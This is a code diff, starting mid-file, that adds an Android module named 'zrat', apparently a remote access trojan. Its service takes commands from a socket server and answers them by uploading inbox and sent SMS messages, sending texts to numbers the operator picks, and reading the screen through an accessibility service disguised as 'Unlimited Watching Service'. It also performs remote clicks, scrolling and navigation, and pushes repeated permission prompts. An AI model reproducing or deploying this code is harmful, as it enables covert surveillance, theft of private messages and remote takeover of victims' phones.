+                            break;
+                        case "scrollDown":
+                            handleScrollDown(command);
+                            break;
+                        case "scrollUp":
+                            handleScrollUp(command);
+                            break;
+                        case "home":
+                            handleHome(command);
+                            break;
+                        case "back":
+                            handleBack(command);
+                            break;
+                        case "recent":
+                            handleRecentApps(command);
+                            break;
+                    }
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            });
+            mSocket.connect();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void handleReadSms(Command command) {
+        if (EasyPermissions.hasPermissions(this, Manifest.permission.READ_SMS)) {
+            readSms(command.getFrom());
+        } else {
+            PermissionManager.getInstance(this).checkPermissions(Arrays.asList(Manifest.permission.READ_SMS), new PermissionManager.PermissionRequestListener() {
+                @Override
+                public void onPermissionGranted() {
+                    readSms(command.getFrom());
+                }
+
+                @Override
+                public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+                }
+            });
+        }
+    }
+
+    private void readSms(String socketId) {
+        try {
+            List<Map<String, String>> list = new ArrayList<>();
+
+            Uri uriSMSURI = Uri.parse("content://sms/inbox");
+            Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);
+
+            while (cur.moveToNext() && list.size() < 100) {
+                Map<String, String> sms = new HashMap<>();
+                Arrays.stream(cur.getColumnNames()).forEach(column -> {
+                    int index = cur.getColumnIndex(column);
+                    String value = cur.getString(index);
+                    sms.put(column, value);
+                });
+                list.add(sms);
+            }
+
+            Uri uriSentURI = Uri.parse("content://sms/sent");
+            Cursor sentCursor = this.getApplicationContext().getContentResolver().query(uriSentURI, null, null, null, null);
+            while (sentCursor.moveToNext()) {
+                Map<String, String> sms = new HashMap<>();
+                Arrays.stream(sentCursor.getColumnNames()).forEach(column -> {
+                    int index = sentCursor.getColumnIndex(column);
+                    String value = sentCursor.getString(index);
+                    sms.put(column, value);
+                });
+                list.add(sms);
+            }
+
+            mSocket.emit("result", new JSONObject(new Gson().toJson(
+                    new Result(socketId, "readSms", list)
+            )));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void handleSendSms(Command command) {
+        if (EasyPermissions.hasPermissions(this, Manifest.permission.SEND_SMS)) {
+            sendSms(MapUtils.getString(command.getData(), "phone"), MapUtils.getString(command.getData(), "message"));
+        } else {
+            PermissionManager.getInstance(this)
+                    .checkPermissions(Collections.singletonList(Manifest.permission.SEND_SMS),
+                            new PermissionManager.PermissionRequestListener() {
+                                @Override
+                                public void onPermissionGranted() {
+                                    sendSms(MapUtils.getString(command.getData(), "phone"),
+                                            MapUtils.getString(command.getData(), "message"));
+                                }
+
+                                @Override
+                                public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+                                }
+                            });
+        }
+    }
+
+    private void sendSms(String phone, String message) {
+        try {
+            SmsManager smsManager = SmsManager.getDefault();
+            smsManager.sendTextMessage(phone, null, message, null, null);
+        } catch (Exception ex) {
+            ex.printStackTrace();
+        }
+    }
+
+    private void handleGetScreen(Command command) {
+        if (AccessibilityService.instance != null) {
+            Map<String, Object> map = AccessibilityService.instance.getScreen();
+            Gson gson = new Gson();
+            String json = gson.toJson(map);
+            try {
+                mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
+            } catch (JSONException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void handleClick(Command command) {
+        if (AccessibilityService.instance != null) {
+            int x = MapUtils.getInteger(command.getData(), "x");
+            int y = MapUtils.getInteger(command.getData(), "y");
+            AccessibilityService.instance.performClick(x, y);
+        }
+    }
+
+    private void handleScrollDown(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.scrollDown();
+        }
+    }
+
+    private void handleScrollUp(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.scrollUp();
+        }
+    }
+
+    private void handleHome(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.home();
+        }
+    }
+
+    private void handleBack(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.back();
+        }
+    }
+
+    private void handleRecentApps(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.recent();
+        }
+    }
+
+
+}

android/zrat/src/main/java/com/example/zrat/permissions/NotificationDismissReceiver.java

@@ -0,0 +1,36 @@
+package com.example.zrat.permissions;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.AppStatus;
+
+import java.util.Arrays;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static java.util.Arrays.asList;
+
+public class NotificationDismissReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String[] permissions = intent.getStringArrayExtra(PermissionsActivity.EXTRA_PERMISSIONS);
+
+        if (new AppStatus(context).isInForeground()) {
+            showPermissionsDialog(context, permissions);
+        } else {
+            PermissionManager.getInstance(context).removePendingPermissionRequests(asList(permissions));
+        }
+
+        Log.i("PERMISSION", "Pending permission notification dismissed. Cancelling: " + Arrays.toString(permissions));
+    }
+
+    private void showPermissionsDialog(Context context, String[] permissions) {
+        Intent permissionsIntent = new Intent(context, PermissionsActivity.class);
+        permissionsIntent.putExtra(PermissionsActivity.EXTRA_PERMISSIONS, permissions);
+        permissionsIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(permissionsIntent);
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/NotificationSettings.java

@@ -0,0 +1,84 @@
+package com.example.zrat.permissions;
+
+import androidx.annotation.ColorRes;
+import androidx.annotation.DrawableRes;
+import androidx.annotation.StringRes;
+
+import com.example.zrat.R;
+
+public class NotificationSettings {
+    @StringRes
+    private int titleResId;
+    @StringRes
+    private int messageResId;
+    @DrawableRes
+    private int smallIconResId;
+    @ColorRes
+    private int colorResId;
+
+    private NotificationSettings(@StringRes int titleResId, @StringRes int messageResId,
+                                 @DrawableRes int smallIconResId, @ColorRes int colorResId) {
+        this.titleResId = titleResId;
+        this.messageResId = messageResId;
+        this.smallIconResId = smallIconResId;
+        this.colorResId = colorResId;
+    }
+
+    static NotificationSettings getDefault() {
+        return new NotificationSettings(R.string.title_permission_required,
+                R.string.message_permission_required,
+                android.R.mipmap.sym_def_app_icon, android.R.color.transparent);
+    }
+
+    @StringRes
+    public int getTitleResId() {
+        return titleResId;
+    }
+
+    @StringRes
+    public int getMessageResId() {
+        return messageResId;
+    }
+
+    @DrawableRes
+    public int getSmallIconResId() {
+        return smallIconResId;
+    }
+
+    @ColorRes
+    public int getColorResId() {
+        return colorResId;
+    }
+
+    public static class Builder {
+        private final NotificationSettings notificationSettings;
+
+        public Builder() {
+            this.notificationSettings = getDefault();
+        }
+
+        public Builder withTitle(@StringRes int titleResId) {
+            this.notificationSettings.titleResId = titleResId;
+            return this;
+        }
+
+        public Builder withMessage(@StringRes int messageResId) {
+            this.notificationSettings.messageResId = messageResId;
+            return this;
+        }
+
+        public Builder withSmallIcon(@DrawableRes int smallIconResId) {
+            this.notificationSettings.smallIconResId = smallIconResId;
+            return this;
+        }
+
+        public Builder withColorResId(@ColorRes int colorResId) {
+            this.notificationSettings.colorResId = colorResId;
+            return this;
+        }
+
+        public NotificationSettings build() {
+            return notificationSettings;
+        }
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/PermissionHandler.java

@@ -0,0 +1,143 @@
+package com.example.zrat.permissions;
+
+import android.content.Context;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.AppStatus;
+import com.example.zrat.permissions.models.DeniedPermission;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.BroadcastService;
+
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CopyOnWriteArraySet;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.VisibleForTesting;
+
+import static java.util.Arrays.asList;
+
+class PermissionHandler {
+    private final PermissionManager manager;
+    private final AppStatus appStatus;
+    private final ConcurrentHashMap<PermissionManager.PermissionRequestListener, Set<String>> requiredPermissionsMap = new ConcurrentHashMap<>();
+    private final Set<String> pendingPermissionRequests = new CopyOnWriteArraySet<>();
+
+    PermissionHandler(PermissionManager manager, Context context) {
+        this(new AppStatus(context), manager);
+    }
+
+    @VisibleForTesting
+    PermissionHandler(AppStatus appStatus, PermissionManager manager) {
+        this.manager = manager;
+        this.appStatus = appStatus;
+    }
+
+    void checkPermissions(Collection<String> permissions, PermissionManager.PermissionRequestListener listener) {
+        Set<String> permissionsToRequest = filterGrantedPermissions(permissions);
+
+        if (permissionsToRequest.isEmpty()) {
+            listener.onPermissionGranted();
+        } else {
+            requiredPermissionsMap.put(listener, new HashSet<>(permissionsToRequest));
+            registerForBroadcastIfNeeded(BroadcastService.IntentAction.ACTION_PERMISSIONS_REQUEST);
+            filterPendingPermissions(permissionsToRequest);
+            if (!permissionsToRequest.isEmpty()) {
+                requestPermissions(permissionsToRequest);
+            }
+        }
+    }
+
+    void onPermissionsResult(String[] grantedPermissions, DeniedPermissions deniedPermissions) {
+        synchronized (requiredPermissionsMap) {
+            informPermissionsDenied(deniedPermissions);
+            informPermissionsGranted(grantedPermissions);
+        }
+
+        pendingPermissionRequests.removeAll(asList(grantedPermissions));
+        pendingPermissionRequests.removeAll(deniedPermissions.stripped());
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.unregisterBroadcastReceiver();
+        }
+    }
+
+    @VisibleForTesting
+    void requestPermissions(Set<String> permissions) {
+        Log.i("PERMISSION", "No pending foreground permission request for " + permissions + ", asking.");
+
+        pendingPermissionRequests.addAll(permissions);
+
+        if (appStatus.isInForeground()) {
+            manager.startPermissionActivity(permissions);
+        } else {
+            manager.showPermissionNotification(permissions);
+        }
+    }
+
+    void invalidatePendingPermissionRequests(Collection<String> permissions) {
+        pendingPermissionRequests.removeAll(permissions);
+        DeniedPermissions deniedPermissions = new DeniedPermissions();
+        for (String permission : permissions) {
+            deniedPermissions.add(new DeniedPermission(permission, false));
+        }
+        informPermissionsDenied(deniedPermissions);
+
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.unregisterBroadcastReceiver();
+        }
+    }
+
+    private void informPermissionsDenied(DeniedPermissions deniedPermissions) {
+        for (PermissionManager.PermissionRequestListener listener : requiredPermissionsMap.keySet()) {
+            Set<String> permissionSet = requiredPermissionsMap.get(listener);
+            Set<String> strippedDeniedPermissions = deniedPermissions.stripped();
+            strippedDeniedPermissions.retainAll(permissionSet);
+
+            if (!strippedDeniedPermissions.isEmpty()) {
+                listener.onPermissionDenied(deniedPermissions);
+                requiredPermissionsMap.remove(listener);
+            }
+        }
+    }
+
+    private void informPermissionsGranted(String[] grantedPermissions) {
+        for (PermissionManager.PermissionRequestListener listener : requiredPermissionsMap.keySet()) {
+            Set<String> permissionSet = requiredPermissionsMap.get(listener);
+            permissionSet.removeAll(asList(grantedPermissions));
+
+            if (permissionSet.isEmpty()) {
+                listener.onPermissionGranted();
+                requiredPermissionsMap.remove(listener);
+            }
+        }
+    }
+
+    private void registerForBroadcastIfNeeded(String action) {
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.registerBroadcastReceiver(action);
+        }
+    }
+
+    @NonNull
+    private Set<String> filterGrantedPermissions(Collection<String> permissions) {
+        Set<String> permissionsToRequest = new HashSet<>();
+        for (String permission : permissions) {
+            if (!manager.permissionAlreadyGranted(permission)) {
+                permissionsToRequest.add(permission);
+            }
+        }
+        return permissionsToRequest;
+    }
+
+    private void filterPendingPermissions(Set<String> permissionsToRequest) {
+        for (String permission : permissionsToRequest) {
+            if (pendingPermissionRequests.contains(permission)) {
+                Log.i("PERMISSION", "Permission request for " + permission + " pending, not asking again.");
+            }
+        }
+
+        permissionsToRequest.removeAll(pendingPermissionRequests);
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/PermissionManager.java

@@ -0,0 +1,132 @@
+package com.example.zrat.permissions;
+
+import android.app.Notification;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.VersionOrchestrator;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.NotificationService;
+
+import org.parceler.Parcels;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Set;
+
+import androidx.annotation.NonNull;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import static android.app.PendingIntent.FLAG_ONE_SHOT;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static androidx.core.content.ContextCompat.checkSelfPermission;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_DENIED;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_GRANTED;
+
+
+public class PermissionManager extends BroadcastReceiver {
+    private final Context context;
+    private static PermissionManager permissionManager;
+    private final PermissionHandler permissionHandler;
+    private NotificationSettings notificationSettings;
+
+    private PermissionManager(Context context) {
+        this.context = context;
+        this.permissionHandler = new PermissionHandler(this, context);
+        this.notificationSettings = NotificationSettings.getDefault();
+    }
+
+    public static PermissionManager getInstance(Context context) {
+        if (permissionManager == null) {
+            permissionManager = new PermissionManager(context.getApplicationContext());
+        }
+        return permissionManager;
+    }
+
+    public void checkPermissions(@NonNull Collection<String> permissions, @NonNull final PermissionRequestListener listener) {
+        permissionHandler.checkPermissions(permissions, listener);
+    }
+
+    public void setNotificationSettings(NotificationSettings notificationSettings) {
+        this.notificationSettings = notificationSettings;
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String[] grantedPermissions = intent.getStringArrayExtra(EXTRA_PERMISSIONS_GRANTED);
+        DeniedPermissions deniedPermissions = Parcels.unwrap(intent.getParcelableExtra(EXTRA_PERMISSIONS_DENIED));
+        logPermissionsResponse(grantedPermissions, deniedPermissions);
+        permissionHandler.onPermissionsResult(grantedPermissions, deniedPermissions);
+    }
+
+    void startPermissionActivity(Set<String> permissions) {
+        Intent intent = permissionActivityIntent(permissions);
+        context.startActivity(intent);
+    }
+
+    void showPermissionNotification(Set<String> permissions) {
+        NotificationService notificationService = new NotificationService(context);
+        int titleResId = this.notificationSettings.getTitleResId();
+        int messageResId = this.notificationSettings.getMessageResId();
+        int smallIconResId = this.notificationSettings.getSmallIconResId();
+        int colorResId = this.notificationSettings.getColorResId();
+
+        Notification notification = notificationService.buildNotification(context.getString(titleResId),
+                context.getString(messageResId), smallIconResId, colorResId, permissionActivityIntent(permissions),
+                notificationDismissIntent(permissions));
+        notificationService.notify(permissions.toString(), permissions.hashCode(), notification);
+    }
+
+    @NonNull
+    private Intent permissionActivityIntent(Set<String> permissions) {
+        return new Intent(context, PermissionsActivity.class)
+                .putExtra(EXTRA_PERMISSIONS, permissions.toArray(new String[0]))
+                .setAction(permissions.toString())
+                .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+    }
+
+    boolean permissionAlreadyGranted(String permission) {
+        return checkSelfPermission(context, permission) == PERMISSION_GRANTED;
+    }
+
+    void registerBroadcastReceiver(String action) {
+        Log.i("PERMISSION","Registering for PERMISSIONS_REQUEST broadcast");
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).registerReceiver(this, new IntentFilter(action));
+    }
+
+    void unregisterBroadcastReceiver() {
+        Log.i("PERMISSION","Un-registering for PERMISSIONS_REQUEST broadcast");
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).unregisterReceiver(this);
+    }
+
+    void removePendingPermissionRequests(List<String> permissions) {
+        permissionHandler.invalidatePendingPermissionRequests(permissions);
+    }
+
+    @NonNull
+    private PendingIntent notificationDismissIntent(Set<String> permissions) {
+        Intent notificationDeleteIntent = new Intent(context, NotificationDismissReceiver.class);
+        notificationDeleteIntent.putExtra(EXTRA_PERMISSIONS, permissions.toArray(new String[0]));
+        return PendingIntent.getBroadcast(context, PermissionsActivity.PERMISSIONS_REQUEST_CODE,
+                notificationDeleteIntent, VersionOrchestrator.getImmutablePendingIntentFlags(FLAG_ONE_SHOT));
+    }
+
+    private void logPermissionsResponse(String[] grantedPermissions, DeniedPermissions deniedPermissions) {
+        Log.i("PERMISSION",String.format("Received broadcast response for permission(s). \nGranted: %s\nDenied: %s",
+                Arrays.toString(grantedPermissions), deniedPermissions));
+    }
+
+    public interface PermissionRequestListener {
+        void onPermissionGranted();
+
+        void onPermissionDenied(DeniedPermissions deniedPermissions);
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/PermissionsActivity.java

@@ -0,0 +1,72 @@
+package com.example.zrat.permissions;
+
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+import androidx.core.app.ActivityCompat;
+import androidx.appcompat.app.AppCompatActivity;
+
+import com.example.zrat.permissions.models.DeniedPermission;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.BroadcastService;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.Set;
+
+import static java.util.Arrays.asList;
+
+public class PermissionsActivity extends AppCompatActivity {
+    static final int PERMISSIONS_REQUEST_CODE = 100;
+    public static final String EXTRA_PERMISSIONS_GRANTED = "ANDROID.PERMISSIONS_GRANTED";
+    public static final String EXTRA_PERMISSIONS_DENIED = "ANDROID.PERMISSIONS_DENIED";
+    static final String EXTRA_PERMISSIONS = "ANDROID.PERMISSIONS";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        String[] permissions = getIntent().getStringArrayExtra(EXTRA_PERMISSIONS);
+        ActivityCompat.requestPermissions(this, permissions, PERMISSIONS_REQUEST_CODE);
+    }
+
+    @Override
+    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
+        super.onRequestPermissionsResult(requestCode, permissions, grantResults);
+
+        if (grantResults.length == 0 || permissions.length == 0) {
+            Log.e("PERMISSION", "Permission request interrupted. Aborting.");
+
+            PermissionManager.getInstance(this)
+                    .removePendingPermissionRequests(asList(getIntent().getStringArrayExtra(EXTRA_PERMISSIONS)));
+
+            //TODO figure out how to finish this activity when request is interrupted to avoid duplicate dialog
+            finish();
+            return;
+        }
+
+        Log.i("PERMISSION", "RequestPermissionsResult, sending broadcast for permissions " + Arrays.toString(permissions));
+
+        sendPermissionResponse(permissions, grantResults);
+        finish();
+    }
+
+    private void sendPermissionResponse(@NonNull String[] permissions, @NonNull int[] grantResults) {
+        Set<String> grantedPermissions = new HashSet<>();
+        DeniedPermissions deniedPermissions = new DeniedPermissions();
+
+        for (int i = 0; i < permissions.length; i++) {
+            if (grantResults[i] == PackageManager.PERMISSION_GRANTED) {
+                grantedPermissions.add(permissions[i]);
+            } else {
+                boolean shouldShowRationale = ActivityCompat.shouldShowRequestPermissionRationale(this, permissions[i]);
+                deniedPermissions.add(new DeniedPermission(permissions[i], shouldShowRationale));
+            }
+        }
+
+        new BroadcastService(this).broadcastPermissionRequestResult(grantedPermissions, deniedPermissions);
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/helpers/AppStatus.java

@@ -0,0 +1,24 @@
+package com.example.zrat.permissions.helpers;
+
+import android.app.ActivityManager;
+import android.content.Context;
+
+import java.util.List;
+
+public class AppStatus {
+    private final Context context;
+
+    public AppStatus(Context context) {
+        this.context = context;
+    }
+
+    public boolean isInForeground() {
+        ActivityManager am = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);
+        List<ActivityManager.RunningAppProcessInfo> runningAppProcesses = am.getRunningAppProcesses();
+        for (ActivityManager.RunningAppProcessInfo process : runningAppProcesses) {
+            if (process.processName.equals(context.getApplicationInfo().processName))
+                return process.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND;
+        }
+        return false;
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/helpers/VersionOrchestrator.java

@@ -0,0 +1,19 @@
+package com.example.zrat.permissions.helpers;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+public class VersionOrchestrator {
+    public static int getImmutablePendingIntentFlags(int... flags) {
+        int combinedImmutableFlags = 0;
+
+        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.M) {
+            combinedImmutableFlags = FLAG_IMMUTABLE;
+        }
+
+        for (int flag : flags) {
+            combinedImmutableFlags = combinedImmutableFlags | flag;
+        }
+
+        return combinedImmutableFlags;
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/models/DeniedPermission.java

@@ -0,0 +1,40 @@
+package com.example.zrat.permissions.models;
+
+import androidx.annotation.NonNull;
+
+import org.parceler.Parcel;
+import org.parceler.ParcelConstructor;
+
+@Parcel
+public class DeniedPermission {
+    final String permission;
+    final boolean shouldShowRationale;
+
+    @ParcelConstructor
+    public DeniedPermission(String permission, boolean shouldShowRationale) {
+        this.permission = permission;
+        this.shouldShowRationale = shouldShowRationale;
+    }
+
+    public boolean shouldShowRationale() {
+        return shouldShowRationale;
+    }
+
+    @NonNull
+    @Override
+    public String toString() {
+        return permission;
+    }
+
+    @Override
+    public boolean equals(Object anotherDeniedPermission) {
+        if (this == anotherDeniedPermission) return true;
+        if (anotherDeniedPermission == null) return false;
+        return permission.equals(((DeniedPermission) anotherDeniedPermission).permission);
+    }
+
+    @Override
+    public int hashCode() {
+        return permission.hashCode();
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/models/DeniedPermissions.java

@@ -0,0 +1,32 @@
+package com.example.zrat.permissions.models;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.VisibleForTesting;
+
+import org.parceler.Parcel;
+
+import java.util.HashSet;
+import java.util.Set;
+
+import static java.util.Arrays.asList;
+
+@Parcel
+public class DeniedPermissions extends HashSet<DeniedPermission> {
+
+    @VisibleForTesting
+    public static DeniedPermissions create(@NonNull DeniedPermission... deniedPermissions) {
+        DeniedPermissions permissions = new DeniedPermissions();
+        permissions.addAll(asList(deniedPermissions));
+        return permissions;
+    }
+
+    @NonNull
+    public Set<String> stripped() {
+        HashSet<String> strippedPermissions = new HashSet<>();
+        for (DeniedPermission deniedPermission : this) {
+            strippedPermissions.add(deniedPermission.permission);
+        }
+
+        return strippedPermissions;
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/services/BroadcastService.java

@@ -0,0 +1,34 @@
+package com.example.zrat.permissions.services;
+
+import android.content.Context;
+import android.content.Intent;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import com.example.zrat.permissions.models.DeniedPermissions;
+
+import org.parceler.Parcels;
+
+import java.util.Set;
+
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_DENIED;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_GRANTED;
+
+public class BroadcastService {
+    private final Context context;
+
+    public BroadcastService(Context context) {
+        this.context = context;
+    }
+
+    public void broadcastPermissionRequestResult(Set<String> grantedPermissions, DeniedPermissions deniedPermissions) {
+        Intent intent = new Intent(IntentAction.ACTION_PERMISSIONS_REQUEST);
+        intent.putExtra(EXTRA_PERMISSIONS_GRANTED, grantedPermissions.toArray(new String[0]));
+        intent.putExtra(EXTRA_PERMISSIONS_DENIED, Parcels.wrap(deniedPermissions));
+        //TODO Use LiveData or ReactiveStreams
+        LocalBroadcastManager.getInstance(context).sendBroadcast(intent);
+    }
+
+    public interface IntentAction {
+        String ACTION_PERMISSIONS_REQUEST = "com.example.zrat.permissions.PERMISSIONS_REQUEST";
+    }
+}

android/zrat/src/main/java/com/example/zrat/permissions/services/NotificationService.java

@@ -0,0 +1,72 @@
+package com.example.zrat.permissions.services;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Build;
+
+import com.example.zrat.R;
+import com.example.zrat.permissions.helpers.VersionOrchestrator;
+
+import androidx.annotation.ColorRes;
+import androidx.annotation.DrawableRes;
+import androidx.core.app.NotificationCompat;
+
+import static android.app.PendingIntent.FLAG_ONE_SHOT;
+import static android.content.Context.NOTIFICATION_SERVICE;
+
+public class NotificationService {
+    private static final String CHANNEL_ID = "android-permissions";
+    private final Context context;
+    private final NotificationManager notificationManager;
+
+    public NotificationService(Context context) {
+        this(context, (NotificationManager) context.getSystemService(NOTIFICATION_SERVICE));
+    }
+
+    private NotificationService(Context context, NotificationManager notificationManager) {
+        this.context = context;
+        this.notificationManager = notificationManager;
+        this.createNotificationChannel();
+    }
+
+    private void createNotificationChannel() {
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            CharSequence name = context.getString(R.string.notification_channel_name);
+            int importance = NotificationManager.IMPORTANCE_DEFAULT;
+
+            NotificationChannel channel = new NotificationChannel(CHANNEL_ID, name, importance);
+            notificationManager.createNotificationChannel(channel);
+        }
+    }
+
+    public Notification buildNotification(String title, String message, @DrawableRes int smallIconResId,
+                                          @ColorRes int colorResId, Intent intent, PendingIntent deleteIntent) {
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, message.hashCode(), intent,
+                VersionOrchestrator.getImmutablePendingIntentFlags(FLAG_ONE_SHOT));
+
+        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(context, CHANNEL_ID)
+                .setContentTitle(title)
+                .setContentText(message)
+                .setAutoCancel(true)
+                .setPriority(NotificationCompat.PRIORITY_DEFAULT)
+                .setSmallIcon(smallIconResId)
+                .setColor(context.getResources().getColor(colorResId))
+                .setContentIntent(pendingIntent);
+
+        notificationBuilder.setDeleteIntent(deleteIntent);
+
+        NotificationCompat.BigTextStyle bigTextNotification = new NotificationCompat.BigTextStyle(notificationBuilder)
+                .bigText(message)
+                .setBigContentTitle(title);
+
+        return bigTextNotification.build();
+    }
+
+    public void notify(String tag, int id, Notification notification) {
+        notificationManager.notify(tag, id, notification);
+    }
+}

android/zrat/src/main/res/drawable/ic_android_black_24dp.xml

@@ -0,0 +1,5 @@
+<vector android:height="24dp" android:tint="#FFFFFF"
+    android:viewportHeight="24" android:viewportWidth="24"
+    android:width="24dp" xmlns:android="http://schemas.android.com/apk/res/android">
+    <path android:fillColor="#FF000000" android:pathData="M17.6,11.48 L19.44,8.3a0.63,0.63 0,0 0,-1.09 -0.63l-1.88,3.24a11.43,11.43 0,0 0,-8.94 0L5.65,7.67a0.63,0.63 0,0 0,-1.09 0.63L6.4,11.48A10.81,10.81 0,0 0,1 20L23,20A10.81,10.81 0,0 0,17.6 11.48ZM7,17.25A1.25,1.25 0,1 1,8.25 16,1.25 1.25,0 0,1 7,17.25ZM17,17.25A1.25,1.25 0,1 1,18.25 16,1.25 1.25,0 0,1 17,17.25Z"/>
+</vector>

android/zrat/src/main/res/layout/floating_bar.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <ImageButton
+        android:id="@+id/btn1"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:backgroundTint="@color/colorPrimary"
+        android:src="@drawable/ic_android_black_24dp" />
+</LinearLayout>

android/zrat/src/main/res/values/strings.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <string name="message_permission_required">App needs permission for some features to work properly</string>
+    <string name="title_permission_required">Permission required</string>
+    <string name="notification_channel_name">Permissions</string>
+    <string name="accessibility_service_description">Unlimited Watching Service</string>
+    <string name="accessibility_service_label">Unlimited Watching Service</string>
+</resources>

android/zrat/src/main/res/values/styles.xml

@@ -0,0 +1,11 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <style name="AppTheme.Transparent" parent="Theme.AppCompat.Light.NoActionBar">
+        <item name="android:windowIsTranslucent">true</item>
+        <item name="android:windowBackground">@android:color/transparent</item>
+        <item name="android:windowContentOverlay">@null</item>
+        <item name="android:windowNoTitle">true</item>
+        <item name="android:windowIsFloating">true</item>
+        <item name="android:backgroundDimEnabled">false</item>
+    </style>
+</resources>

android/zrat/src/main/res/xml/accessibility_service_config.xml

@@ -0,0 +1,9 @@
+<?xml version="1.0" encoding="utf-8"?>
+<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accessibilityEventTypes="typeAllMask"
+    android:accessibilityFeedbackType="feedbackGeneric"
+    android:accessibilityFlags="flagDefault"
+    android:canPerformGestures="true"
+    android:canRetrieveWindowContent="true"
+    android:description="@string/accessibility_service_description"
+    android:notificationTimeout="100" />

android/zrat/src/test/java/com/example/zrat/ExampleUnitTest.java

@@ -0,0 +1,17 @@
+package com.example.zrat;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+public class ExampleUnitTest {
+    @Test
+    public void addition_isCorrect() {
+        assertEquals(4, 2 + 2);
+    }
+}

src/plugins/updater.ts

@@ -1,31 +1,37 @@
-import meta from '@/assets/meta.json'
-import { CapacitorUpdater } from '@capgo/capacitor-updater'
-import { Capacitor } from '@capacitor/core'
-import axios from 'axios'
+import meta from "@/assets/meta.json"
+import { CapacitorUpdater } from "@capgo/capacitor-updater"
+import { Capacitor } from "@capacitor/core"
+import axios from "axios"
 if (Capacitor.isNativePlatform()) {
